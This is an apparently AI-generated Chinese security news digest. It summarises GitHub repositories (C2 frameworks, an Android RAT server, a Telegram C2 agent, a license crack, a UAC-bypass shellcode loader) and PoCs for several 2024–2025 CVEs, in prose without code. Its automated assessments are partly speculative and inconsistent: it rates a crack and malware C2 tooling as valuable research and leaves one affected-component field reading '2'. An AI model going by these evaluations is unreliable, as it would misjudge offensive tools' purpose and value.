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2025-07-11 21:00:02 +08:00

309 KiB

Raw Blame History

安全资讯日报 2025-07-11

本文由AI自动生成，基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。

更新时间：2025-07-11 20:40:27

今日资讯

🔍 漏洞分析

🔬 安全研究

🎯 威胁情报

🛠️ 安全工具

📚 最佳实践

🍉 吃瓜新闻

📌 其他

安全分析

(2025-07-11)

本文档包含 AI 对安全相关内容的自动化分析结果。概览

firescan - Firebase安全审计与渗透工具

📌 仓库信息

属性	详情
仓库名称	firescan
风险等级	`HIGH`
安全类型	`漏洞利用/安全工具`

📊 代码统计

分析提交数: 2
变更文件数: 2

💡 分析概述

该仓库是一个面向Firebase应用的安全审计工具，提供交互式控制台执行数据库、存储、函数等组件的安全检测，支持自动化扫描和漏洞验证。

🔍 关键发现

序号	发现内容
1	提供Firebase安全性多方面检测，包括数据库权限、存储规则、云函数和Hosting配置
2	具有交互式控制台界面，支持自动化漏洞扫描流程
3	利用脚本和命令进行安全检测和权限绕过，适合渗透测试和漏洞验证
4	与搜索关键词“security tool”高度相关，核心功能围绕安全检测与漏洞利用

🛠️ 技术细节

实现基于Go语言的检测脚本，自动化检测Firebase各个组件的安全配置漏洞

涵盖数据库权限测试、存储规则审核、函数安全调用和配置分析，支持批量检测

采用命令行交互模式，支持配置加载、认证管理和多模块扫描

🎯 受影响组件

• Realtime Database
• Cloud Firestore
• Cloud Storage
• Cloud Functions
• Hosting配置

⚡ 价值评估

展开查看详细评估

该仓库具有完整的Firebase安全检测功能，包含漏洞扫描和安全配置分析，提供实用的技术方案和检测POC，符合渗透测试和安全评估的需求，相关性强，内容实质性高。

Roblox-Scriptify - Roblox脚本执行工具，含安全特性

📌 仓库信息

属性	详情
仓库名称	Roblox-Scriptify
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 3
变更文件数: 2

💡 分析概述

该仓库是一个用于Roblox脚本运行的工具，包含 injector、DLL映射和白名单系统，旨在提升脚本执行的效率和安全性，核心面向脚本渗透与自动化。

🔍 关键发现

序号	发现内容
1	实现Roblox脚本执行，包括 injector 和 DLL映射功能
2	具备白名单安全机制，以确保脚本执行的安全性
3	研究价值：提供安全的脚本执行解决方案，支持逆向和漏洞研究
4	与搜索关键词 'security tool' 相关，强调安全机制和风险防范

🛠️ 技术细节

利用注入技术实现脚本插入，结合DLL映射实现性能优化

采用白名单系统限制可执行脚本，提升安全性

通过Web界面和用户界面提升用户体验，增强工具实用性

🎯 受影响组件

• Roblox运行时环境
• 脚本注入机制
• 安全白名单系统

⚡ 价值评估

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该仓库集成脚本注入、安全验证(白名单)和自动化功能，核心聚焦安全研究与漏洞利用路径探索，具有实质性的技术内容，符合安全工具与渗透测试相关性，且没有内容为空或仅为基础工具，满足价值判定标准。

Sentient-Network-Immunology-Tool - 模拟生物免疫的网络安全检测工具

📌 仓库信息

属性	详情
仓库名称	Sentient-Network-Immunology-Tool
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

Sentient-Network-Immunology-Tool 旨在模仿生物免疫系统，增强网络安全防御，具备实时行为分析、威胁识别和自动响应功能，具有创新的威胁检测策略。

🔍 关键发现

序号	发现内容
1	基于免疫系统灵感的威胁检测与响应机制
2	具备实时行为分析和模式识别能力
3	实现自动化防御，适应未知威胁
4	与搜索关键词“security tool”高度相关，强调安全研究与威胁检测

🛠️ 技术细节

采用模式识别与行为分析技术，检测如提示注入、恶意代码、AI提示篡改等威胁

利用正则表达式识别多种攻击途径，包括编码混淆和角色扮演操作

核心技术为威胁识别、免疫机制模拟和自适应防御策略

🎯 受影响组件

• AI模型安全系统
• 威胁检测引擎
• 安全响应机制

⚡ 价值评估

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该仓库利用生物免疫原理创新性设计威胁检测方法，具备实质性的技术内容和应用前景，符合渗透测试和安全研究的核心需求。它提供了检测复杂威胁和未知攻击的创新手段，具备显著的研究价值。

compliantkubernetes-apps - Kubernetes安全合规平台

📌 仓库信息

属性	详情
仓库名称	compliantkubernetes-apps
风险等级	`MEDIUM`
安全类型	`安全功能/安全修复`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 103

💡 分析概述

Elastisys Compliant Kubernetes是一个开源的、经过ISO27001认证的Kubernetes发行版，旨在从第一天起就提供安全工具和可观测性功能。最近的更新包括对服务的双栈支持（IPv4和IPv6），这增强了网络配置的灵活性和安全性。此外，Falco安全工具的升级引入了新的容器引擎收集器，取代了旧的docker、containerd、crio和podman收集器，提高了安全性并减少了漏洞。

🔍 关键发现

序号	发现内容
1	仓库的主要功能：Kubernetes安全合规平台
2	更新的主要内容：支持服务的双栈配置，Falco安全工具升级
3	安全相关变更：Falco工具升级，引入新的容器引擎收集器
4	影响说明：增强了网络配置的灵活性和安全性，改进了Falco的安全性和漏洞管理

🛠️ 技术细节

在服务配置中引入了新的ipFamilyPolicy和ipFamilies设置，允许管理员控制服务的IP地址族策略，从而支持双栈网络配置。

Falco安全工具升级到v6.0.2，引入了新的容器引擎收集器，替换了旧的docker、containerd、crio和podman收集器，这提高了工具的安全性和可靠性，减少了潜在的漏洞。

🎯 受影响组件

• Kubernetes服务
• Falco安全工具

⚡ 价值评估

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更新引入了对网络安全配置的改进，特别是双栈支持，增强了网络的安全性和灵活性。Falco工具的升级进一步提高了其安全性和漏洞管理能力。

QFX-KeyScrambler-Crack-4a - QFX KeyScrambler破解工具

📌 仓库信息

属性	详情
仓库名称	QFX-KeyScrambler-Crack-4a
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

QFX-KeyScrambler-Crack-4a是一个用于绕过QFX KeyScrambler软件安全功能的工具，允许用户在不购买许可证的情况下访问高级功能。该工具的最新更新主要涉及README.md文件的修改，增加了项目介绍和使用说明。

🔍 关键发现

序号	发现内容
1	仓库主要功能：绕过QFX KeyScrambler的安全功能
2	更新的主要内容：修改README.md文件，增加项目介绍和使用说明
3	安全相关变更：未提及具体的安全漏洞或防护措施
4	影响说明：可能导致QFX KeyScrambler的许可证验证机制被绕过

🛠️ 技术细节

技术实现细节：该工具通过某种方式绕过QFX KeyScrambler的许可证验证机制，使未授权用户能够使用其高级功能

安全影响分析：该工具的存在可能对QFX KeyScrambler的安全性和合法性构成威胁，可能导致软件许可证滥用

🎯 受影响组件

• 2

⚡ 价值评估

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该仓库提供了一个绕过安全机制的工具，具有较高的安全研究价值和潜在的实际应用风险

malice-network - 新一代C2框架，关注CMD和Listener管理

📌 仓库信息

属性	详情
仓库名称	malice-network
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

chainreactors/malice-network 是一个新一代的C2框架，最新更新移除了通过配置文件启动监听器的功能。具体变更涉及修改 server/cmd/server/options.go 文件中关于仅运行服务器和仅运行监听器的选项描述。

🔍 关键发现

序号	发现内容
1	主要功能：新一代C2框架，提供服务器和监听器管理
2	更新的主要内容：移除通过配置文件启动监听器的功能
3	安全相关变更：简化了配置选项，可能减少潜在的配置错误
4	影响说明：更新对框架的使用方式有一定影响，但增强了安全性

🛠️ 技术细节

技术实现细节：在options.go中移除了config标签，直接使用long标签描述选项，简化了配置管理

安全影响分析：此变更减少了通过错误配置启动不安全监听器的可能性，增强了框架的安全性

🎯 受影响组件

• C2框架的命令行选项管理

⚡ 价值评估

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此次更新通过简化配置选项，减少了潜在的配置错误，增强了框架的安全性，具有较高的安全价值

c2a - C2框架

📌 仓库信息

属性	详情
仓库名称	c2a
风险等级	`LOW`
安全类型	`安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 3

💡 分析概述

该仓库是一个C2（Command and Control）框架项目，但未提供具体的描述或文档。通过提交历史可以看出，作者每天都在进行代码更新，但没有说明具体的更新内容和目的。

🔍 关键发现

序号	发现内容
1	仓库的主要功能：C2框架
2	更新的主要内容：每日代码提交，但未提供具体细节
3	安全相关变更：无明确的安全相关更新说明
4	影响说明：由于缺乏具体的描述和文档，无法评估其对安全的影响

🛠️ 技术细节

技术实现细节：未知。由于缺乏详细的描述和文档，无法了解其具体技术实现

安全影响分析：由于没有明确的安全相关内容，无法评估其对安全的影响

🎯 受影响组件

• C2框架

⚡ 价值评估

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尽管不是严格意义上的网络安全工具，但C2框架在渗透测试和红队活动中具有重要作用，因此具有一定的价值

Juan_Nova_PM_2025_C2 - C2框架，可能用于渗透测试

📌 仓库信息

属性	详情
仓库名称	Juan_Nova_PM_2025_C2
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1

💡 分析概述

这是一个C2（命令与控制）框架，可能用于渗透测试或红队操作。最新更新通过上传文件添加了新的功能或组件。

🔍 关键发现

序号	发现内容
1	C2框架主要用于渗透测试
2	通过上传文件添加了新的功能或组件
3	可能包含新的漏洞利用方法或安全防护措施
4	对渗透测试工具的影响较大

🛠️ 技术细节

技术实现细节：通过上传文件的方式添加了新的功能或组件，具体内容需要进一步分析

安全影响分析：新添加的功能或组件可能包含新的漏洞利用方法或安全防护措施，需进一步评估其对渗透测试的影响

🎯 受影响组件

• 渗透测试工具

⚡ 价值评估

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更新内容可能包含新的漏洞利用方法或安全防护措施，对渗透测试工具具有较大影响

mFT - Web3 C2框架利用NFT传输命令

📌 仓库信息

属性	详情
仓库名称	mFT
风险等级	`HIGH`
安全类型	`安全研究`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

mFT是一个基于Web3的C2框架，通过非同质化代币（NFT）在常见字段如描述、特征、EXIF元数据和隐写消息中托管和传输命令到被攻陷的主机。本次更新修改了README.md文件，调整了描述中的措辞，但并未引入新的功能或安全相关内容。

🔍 关键发现

序号	发现内容
1	mFT是一个基于Web3的C2概念验证（PoC）框架
2	利用NFT的多个字段（描述、特征、EXIF、隐写消息）传输恶意命令
3	PoC展示了高级的攻击能力，如信息窃取和伪造加密行为
4	与搜索关键词c2高度相关，专注于利用Web3资产进行指挥与控制

🛠️ 技术细节

框架通过隐写术生成隐藏消息，并利用NFT的元数据字段传输恶意命令

提供了生成恶意负载、执行命令、解码NFT负载及列出账户NFT的工具

🎯 受影响组件

• 非同质化代币（NFT）系统
• 基于IPFS和FileCoin的存储技术

⚡ 价值评估

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mFT提供了一个创新的安全研究方法，展示了如何利用Web3资产进行C2通信。与搜索关键词c2高度相关，且包含了实质性的技术内容，如隐写术和命令执行机制。

eobot-rat-c2 - Android RAT C2服务器开发

📌 仓库信息

属性	详情
仓库名称	eobot-rat-c2
风险等级	`HIGH`
安全类型	`安全研究`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库专注于开发一个用于Android远程访问木马（RAT）的命令与控制（C2）服务器。此次更新主要修改了README.md文件，更新了项目描述和目录结构，强调了该项目是用于安全研究和开发Android恶意软件和僵尸网络的工具。

🔍 关键发现

序号	发现内容
1	仓库的主要功能：开发用于Android RAT的C2服务器
2	更新的主要内容：修改了README.md文件，更新了项目描述和目录结构
3	安全相关变更：强调了该项目用于安全研究和开发Android恶意软件和僵尸网络
4	影响说明：可能被用于恶意用途，导致严重的安全风险

🛠️ 技术细节

技术实现细节：该项目提供了一个C2服务器，用于控制和管理Android RAT，允许安全研究人员深入了解Android恶意软件的工作原理

安全影响分析：该项目可能被恶意使用，导致未经授权的远程访问和控制Android设备

🎯 受影响组件

• Android设备，可能被远程控制和访问

⚡ 价值评估

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该项目提供了关于Android恶意软件和C2服务器的深入研究和开发工具，具有高度的安全研究价值

telegram-c2-agent - Telegram控制的多平台C2代理工具

📌 仓库信息

属性	详情
仓库名称	telegram-c2-agent
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 2
变更文件数: 2

💡 分析概述

该仓库提供了一个基于Telegram的多平台远程控制代理工具，支持文件操作、命令执行、截图等功能。最新的更新添加了agent.py文件，实现了通过Telegram bot进行远程控制的详细功能。

🔍 关键发现

序号	发现内容
1	基于Telegram的多平台C2代理工具
2	新增agent.py文件，实现了详细的远程控制功能
3	支持文件操作、命令执行、截图等安全相关的功能
4	潜在的远程控制风险

🛠️ 技术细节

通过agent.py文件，实现了通过Telegram bot进行远程控制的详细功能，包括文件操作、命令执行和截图等。

该工具支持Windows和Linux平台，并具有隐藏控制台窗口的功能，增加隐蔽性。

🎯 受影响组件

• Windows和Linux系统

⚡ 价值评估

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仓库实现了基于Telegram的C2功能，且新增的agent.py文件包含了详细的漏洞利用和远程控制功能，具有较高的安全研究价值。

puppeteer-mcp - AI浏览器自动化平台，集成多种接口

📌 仓库信息

属性	详情
仓库名称	puppeteer-mcp
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 8

💡 分析概述

该仓库是一个AI驱动的浏览器自动化平台，支持REST、gRPC、WebSocket和MCP协议，提供统一的会话管理，并专注于企业级安全。最新的更新主要是对代码进行了模块化重构，提升了系统的可维护性、扩展性和安全性，特别是引入了多种设计模式和NIST合规性改进。

🔍 关键发现

序号	发现内容
1	仓库的主要功能是AI驱动的浏览器自动化平台，支持多种协议接口
2	更新的主要内容是对代码进行模块化重构，提升了系统的可维护性和扩展性
3	安全相关变更是引入了多种设计模式和NIST合规性改进，增强了安全性和可测试性
4	影响说明是对现有功能保持全兼容，同时提升了系统的安全性和可维护性

🛠️ 技术细节

技术实现细节包括使用模板方法模式、策略模式、工厂模式、观察者模式等设计模式进行模块化重构

安全影响分析包括增强了系统的可测试性、NIST合规性改进、集中化的错误处理和安全日志记录

🎯 受影响组件

• 浏览器自动化执行器
• WebSocket会话管理
• Redis迁移模块
• 浏览器池指标收集

⚡ 价值评估

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更新内容引入了多种设计模式和NIST合规性改进，增强了系统的安全性和可维护性，同时保持了全兼容性，具有较高的安全价值

smart-audit - AI驱动的智能合约安全审计平台

📌 仓库信息

属性	详情
仓库名称	smart-audit
风险等级	`HIGH`
安全类型	`安全研究`

📊 代码统计

分析提交数: 5
变更文件数: 28

💡 分析概述

smart-audit 是一个基于AI的智能合约安全审计平台，提供智能合约的静态分析和符号执行，结合OpenAI的LLM生成安全审计报告。本次更新主要增加了Python 3.11的支持，并更新了部分依赖。

🔍 关键发现

序号	发现内容
1	基于AI的智能合约安全审计
2	集成Slither和Mythril进行静态和符号分析
3	使用OpenAI LLM生成审计报告
4	与AI Security高度相关，核心功能依赖AI

🛠️ 技术细节

使用Slither进行静态代码分析，Mythril进行符号执行

集成OpenAI的LLM生成审计报告，提供安全评分和建议

🎯 受影响组件

• 智能合约
• 以太坊区块链

⚡ 价值评估

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仓库提供高质量的安全审计功能，结合AI生成审计报告，创新性地使用LLM进行安全分析，与AI Security高度相关。

xlab-ai-security - AI安全研究与对抗攻击模型

📌 仓库信息

属性	详情
仓库名称	xlab-ai-security
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 3
变更文件数: 20

💡 分析概述

该仓库主要涉及AI安全研究，特别是对抗攻击（adversarial attacks）和有害拒绝（harmful refusal）的模型训练与测试。最新更新包括改进了对抗基础CNN模型的训练脚本，增加了新的残差块实现，并添加了训练日志和测试数据。此外，还更新了有害拒绝模型的数据集和相关文件，增强了AI模型在面对有害请求时的拒绝能力。

🔍 关键发现

序号	发现内容
1	仓库的主要功能是研究AI安全，特别是对抗攻击和有害拒绝。
2	更新的主要内容包括改进的CNN模型训练脚本和新的残差块实现。
3	安全相关变更是增强了模型的对抗攻击防御能力和有害请求的拒绝能力。
4	影响说明：提高了AI模型在面对对抗攻击和有害请求时的鲁棒性和安全性。

🛠️ 技术细节

技术实现细节：更新了BasicBlock类，引入了新的残差块实现，增强了模型的深度和复杂性。

安全影响分析：通过改进模型结构和训练方法，增强了模型对对抗样本的抵抗能力，并提高了模型在面对有害请求时的拒绝能力。

🎯 受影响组件

• 对抗基础CNN模型
• 有害拒绝LLAMA模型

⚡ 价值评估

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更新内容涉及AI安全的核心研究领域，特别是对抗攻击和有害拒绝，增强了模型的安全性和鲁棒性。

CodeReview - AI驱动的代码审查工具

📌 仓库信息

属性	详情
仓库名称	CodeReview
风险等级	`MEDIUM`
安全类型	`安全工具`

📊 代码统计

分析提交数: 3
变更文件数: 12

💡 分析概述

该仓库提供了一个基于AI的代码审查工具，能够识别语法错误、逻辑错误和安全漏洞，并提供优化建议。本次更新主要添加了后端服务，使用了@google/generative-ai库来实现AI代码审查功能。

🔍 关键发现

序号	发现内容
1	基于AI的代码审查工具，支持多种编程语言
2	识别语法错误、逻辑错误和安全漏洞
3	提供优化代码建议
4	使用@google/generative-ai库进行AI驱动分析
5	与AI Security关键词高度相关，核心功能涉及AI在安全领域的应用

🛠️ 技术细节

后端使用Express框架，通过@google/generative-ai库实现AI代码审查

前端使用React和Vite构建，提供代码提交和反馈界面

AI模型使用Google的Gemini-2.0-flash模型进行代码分析

🎯 受影响组件

• 后端服务
• 前端界面
• AI代码审查模型

⚡ 价值评估

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该仓库与AI Security关键词高度相关，核心功能涉及AI在安全领域的应用，能够识别语法错误、逻辑错误和安全漏洞，并提供优化建议。使用@google/generative-ai库进行AI驱动分析，具有较高的技术价值。

meta-ai-bug-bounty - Meta AI漏洞赏金报告

📌 仓库信息

属性	详情
仓库名称	meta-ai-bug-bounty
风险等级	`HIGH`
安全类型	`安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该项目专注于Instagram群聊功能中的漏洞，揭示了严重的安全风险，重点是prompt注入和命令执行。本次更新主要改进了README文档，增加了对漏洞类型的详细描述和影响分析。

🔍 关键发现

序号	发现内容
1	检测Instagram群聊功能中的安全漏洞
2	更新了README文档，增加了漏洞细节
3	涉及prompt注入和命令执行
4	高风险级别的安全漏洞

🛠️ 技术细节

通过详细的文档描述了prompt注入和命令执行的具体实现和影响

这些漏洞可能导致敏感信息泄露和未经授权的命令执行

🎯 受影响组件

• Instagram群聊功能

⚡ 价值评估

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更新内容详细描述了高风险的安全漏洞类型，具有实际的安全研究和防护价值

tr-securityagent - 基于AI的实时安全日志监控工具

📌 仓库信息

属性	详情
仓库名称	tr-securityagent
风险等级	`HIGH`
安全类型	`安全工具`

📊 代码统计

分析提交数: 2
变更文件数: 7

💡 分析概述

该仓库包含一个基于AI的安全代理工具，主要功能是实时监控和分析安全日志。通过使用Transformer模型，该工具能够检测并分类暴力、仇恨和垃圾内容。此次更新添加了多个模型和配置文件，以及一个用于展示日志的Streamlit仪表盘。

🔍 关键发现

序号	发现内容
1	基于AI的实时安全日志监控
2	使用Transformer模型检测暴力、仇恨和垃圾内容
3	提供一个Streamlit仪表盘用于展示日志
4	与AI Security高度相关，体现在核心功能上

🛠️ 技术细节

使用FastAPI作为后端框架，Transformer模型进行内容分类

通过docker-compose管理多个模型服务

使用Streamlit构建前端仪表盘展示日志

🎯 受影响组件

• 暴力检测模型
• 仇恨内容检测模型
• 垃圾内容检测模型
• 日志监控仪表盘

⚡ 价值评估

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该仓库实现了创新的基于AI的安全检测功能，包含了高质量的模型代码和部署配置，与AI Security高度相关。

ShellCode-Elevator-Uac-Bypass-Inject-Any-X64-fud - Shellcode加载器，UAC绕过和注入

📌 仓库信息

属性	详情
仓库名称	ShellCode-Elevator-Uac-Bypass-Inject-Any-X64-fud
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5

💡 分析概述

该仓库提供了一个Shellcode加载器，用于绕过UAC（用户账户控制）并注入任意64位Shellcode，旨在实现后渗透阶段的免杀和权限提升。最新更新进一步改进了工具的功能和隐蔽性。

🔍 关键发现

序号	发现内容
1	仓库的主要功能是提供一个Shellcode加载器，用于绕过UAC和注入任意64位Shellcode。
2	更新的主要内容包括对工具的进一步优化和改进，增强其隐蔽性和功能。
3	安全相关变更涉及对Shellcode加载和注入技术的改进，可能包含新的隐蔽性技巧或绕过检测的方法。
4	影响说明：该工具的改进可能会增加对Windows系统的攻击成功率，提升攻击者的权限。

🛠️ 技术细节

技术实现细节：该工具通过改进的Shellcode加载技术，绕过UAC并注入任意64位Shellcode，增强了对现有检测机制的绕过能力。

安全影响分析：该工具的更新可能引入新的漏洞利用方法或隐蔽性技巧，增加对Windows系统的攻击风险。

🎯 受影响组件

• Windows系统，尤其是启用了UAC的64位系统。

⚡ 价值评估

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该仓库的更新改进了现有的Shellcode加载和注入技术，可能包含新的漏洞利用方法或隐蔽性技巧，对安全研究和防护具有重要意义。

CVE-2025-32463 - Sudo存在本地权限提升漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-32463
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 18:01:07

📦 相关仓库

CVE-2025-32463

💡 分析概述

CVE-2025-32463是一个本地权限提升漏洞，影响Sudo组件。攻击者可以利用此漏洞在特定配置下获得root权限。该漏洞通过滥用sudo chroot命令实现，允许本地用户在Linux系统中进行权限提升。

🔍 关键发现

序号	发现内容
1	漏洞为本地权限提升(EoP)，允许用户获得root权限
2	影响范围包括Ubuntu 20.04及更高版本、Debian 10及更高版本、CentOS 7及更高版本
3	利用条件为系统配置允许`sudo chroot`命令且未进行严格限制

🛠️ 技术细节

漏洞原理：sudo与chroot命令结合使用时，未对环境进行严格限制，导致攻击者可以逃逸受限环境

利用方法：通过识别/etc/sudoers文件中未严格限制的chroot条目，执行恶意命令提升权限

修复方案：更新Sudo至最新版本，限制sudo chroot的使用，启用AppArmor或SELinux进行额外保护

🎯 受影响组件

• Sudo组件

💻 代码分析

分析 1:

POC/EXP代码评估：提交中包含一个示例脚本，展示了如何利用漏洞进行权限提升，代码结构清晰

分析 2:

测试用例分析：提供了基本的环境检查和命令执行步骤，但缺乏自动化测试用例

分析 3:

代码质量评价：代码简洁且逻辑清晰，适合初学者理解和复现

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛使用的Linux系统，存在明确的受影响版本和详细的利用方法，且已提供POC代码

CVE-2024-27954 - WordPress wp-automatic插件LFI漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2024-27954
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 17:30:51

📦 相关仓库

CVE-2024-27954

💡 分析概述

CVE-2024-27954是一个针对WordPress wp-automatic插件的本地文件包含(LFI)漏洞。未经身份验证的攻击者可以通过file://注入向量读取服务器上的任意文件。

🔍 关键发现

序号	发现内容
1	漏洞类型：本地文件包含(LFI)，无需认证即可利用
2	影响范围：使用了wp-automatic插件的WordPress网站
3	利用条件：目标系统存在wp-automatic插件，且未修补此漏洞

🛠️ 技术细节

漏洞原理：通过未过滤的link参数传递file://协议，导致远程文件包含

利用方法：使用提供的Python脚本进行自动化扫描和利用

修复方案：更新wp-automatic插件至最新版本，或禁用/移除该插件

🎯 受影响组件

• WordPress wp-automatic插件

💻 代码分析

分析 1:

POC/EXP代码评估：代码功能完整，支持多线程扫描和代理支持

分析 2:

测试用例分析：提供了多个典型的LFI路径文件，测试覆盖广泛

分析 3:

代码质量评价：代码结构清晰，注释详细，易于理解和扩展

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛使用的WordPress插件，且具有完整的POC代码，可以远程读取任意文件，属于高危漏洞

CVE-2025-31258 - macOS远程视图服务沙盒逃逸漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-31258
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 17:29:35

📦 相关仓库

CVE-2025-31258-PoC

💡 分析概述

该漏洞允许攻击者通过利用RemoteViewServices框架的部分功能逃逸macOS沙盒，成功利用可能导致在沙盒外执行任意代码。受影响版本为macOS 10.15至11.5。

🔍 关键发现

序号	发现内容
1	影响macOS 10.15至11.5
2	通过RemoteViewServices框架的漏洞实现沙盒逃逸
3	成功利用可执行任意代码

🛠️ 技术细节

漏洞原理：攻击者通过向RemoteViewServices发送精心构造的消息，绕过安全检查，从而逃逸沙盒。

利用方法：通过调用PrivateFrameworks中的PBOXDuplicateRequest函数，利用特定的文件路径操作实现沙盒逃逸。

修复方案：更新至最新macOS版本，严格验证应用程序输入数据，加强沙盒隔离策略。

🎯 受影响组件

• macOS 10.15至11.5

💻 代码分析

分析 1:

POC/EXP代码评估：POC代码质量较高，结构清晰，包含完整的利用步骤和必要的权限检查。

分析 2:

测试用例分析：POC代码中包含模拟的权限检查和沙盒逃逸操作，能够有效验证漏洞。

分析 3:

代码质量评价：代码编写规范，注释清晰，能够有效展示漏洞原理和利用方法。

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛使用的macOS系统，且有具体的受影响版本和POC代码，能够实现沙盒逃逸并执行任意代码，具有较高的利用价值。

CVE-2025-0411 - 7-Zip存在MotW绕过漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-0411
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 16:46:28

📦 相关仓库

7-Zip-CVE-2025-0411-POC

💡 分析概述

CVE-2025-0411是一个影响7-Zip软件的漏洞，允许远程攻击者绕过Mark-of-the-Web (MotW)保护机制。该漏洞存在于7-Zip处理带MotW标记的恶意压缩文件时，无法将MotW标记传播到解压后的文件中。这使得攻击者可以在用户交互的情况下执行任意代码。

🔍 关键发现

序号	发现内容
1	漏洞类型：Mark-of-the-Web绕过
2	影响范围：7-Zip所有版本在24.09之前
3	利用条件：用户需打开恶意压缩文件

🛠️ 技术细节

漏洞原理：7-Zip在解压带有MotW标记的文件时，未能正确传播该标记到解压后的文件，导致安全机制失效。

利用方法：攻击者通过双层压缩恶意文件并诱导用户解压，从而绕过安全机制执行任意代码。

修复方案：更新到7-Zip 24.09或更高版本，避免打开未知来源的压缩文件。

🎯 受影响组件

• 7-Zip

💻 代码分析

分析 1:

POC/EXP代码评估：仓库中包含用于演示MotW绕过的POC代码，代码结构清晰，可行性强。

分析 2:

测试用例分析：提供了详细的利用场景和步骤，有助于验证漏洞和测试修复效果。

分析 3:

代码质量评价：代码质量较高，注释详细，易于理解和复现。

⚡ 价值评估

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该漏洞影响广泛使用的7-Zip软件，且有明确的受影响版本和详细的利用方法，POC代码已公开。

CVE-2025-5777 - Citrix NetScaler内存泄漏漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-5777
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 19:56:44

📦 相关仓库

CVE-2025-5777

💡 分析概述

Citrix NetScaler ADC和Gateway设备存在一个内存泄漏漏洞，允许攻击者通过/p/u/doAuthentication.do端点触发内存泄漏，揭示敏感数据如XML片段、令牌和潜在的凭证。

🔍 关键发现

序号	发现内容
1	漏洞类型：内存泄漏
2	影响范围：Citrix NetScaler ADC/Gateway
3	利用条件：需要访问目标URL

🛠️ 技术细节

漏洞原理：不充分的输入验证导致内存越界读取

利用方法：通过特定POST请求触发内存泄漏，提取标签内容

修复方案：参考Citrix官方补丁CTX693420

🎯 受影响组件

• Citrix NetScaler ADC
• Citrix NetScaler Gateway

💻 代码分析

分析 1:

POC/EXP代码评估：代码结构清晰，使用了aiohttp和asyncio实现并发请求，具有较高的可读性和功能性。

分析 2:

测试用例分析：提供了详细的测试用例，能够有效验证漏洞。

分析 3:

代码质量评价：代码质量较高，注释明确，使用了colorama库进行输出美化。

⚡ 价值评估

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该漏洞影响广泛使用的Citrix NetScaler产品，且存在可用的POC。内存泄漏可能导致敏感信息泄露，具有高风险等级。

CVE-2025-25257 - FortiWeb未授权SQL注入漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-25257
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-10 00:00:00
最后更新	2025-07-10 21:31:09

📦 相关仓库

CVE-2025-25257

💡 分析概述

该漏洞存在于FortiWeb的GUI接口中，利用不当的SQL元素处理，攻击者可在未经认证的情况下执行任意SQL命令，影响数据库完整性，可能实现远程命令执行、敏感信息泄露、绕过身份验证，危害极大。

🔍 关键发现

序号	发现内容
1	影响FortiWeb的HTTP/HTTPS接口，存在SQL注入漏洞
2	无需认证即可利用，导致远程代码执行和数据泄露
3	利用条件简单，攻击门槛低，可远程攻击

🛠️ 技术细节

漏洞原理：对SQL查询中的用户输入未正确中和，允许注入恶意SQL语句

利用方法：通过特制的请求在SQL语句中插入恶意代码，触发数据库命令执行

修复方案：升级到修复版本（≥7.6.4、≥7.4.8、≥7.2.11、≥7.0.11），或采取配置变更阻断攻击

🎯 受影响组件

• FortiWeb GUI（HTTP/HTTPS接口）

💻 代码分析

分析 1:

POC代码存在，验证了SQL注入漏洞的可用性

分析 2:

提交中无完整测试用例，但有详细利用描述

分析 3:

代码质量尚可，内容指导明确

⚡ 价值评估

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该漏洞影响广泛版本的FortiWeb，且具有远程代码执行和敏感信息泄露的高危特性，已提供详细的POC利用代码，极具危害性。

HACK4U - 基于Bash的多功能网络安全测试工具

📌 仓库信息

属性	详情
仓库名称	HACK4U
风险等级	`HIGH`
安全类型	`安全研究、漏洞利用、渗透测试工具`

📊 代码统计

分析提交数: 5
变更文件数: 6

💡 分析概述

这是一个主要用于网络安全和渗透测试的Bash脚本集合，包含端口扫描、信息收集、漏洞检测等功能。近期版本显示持续在完善核心安全检测功能，具备实质性的安全研究内容。

🔍 关键发现

序号	发现内容
1	提供端口扫描、信息收集等渗透测试工具
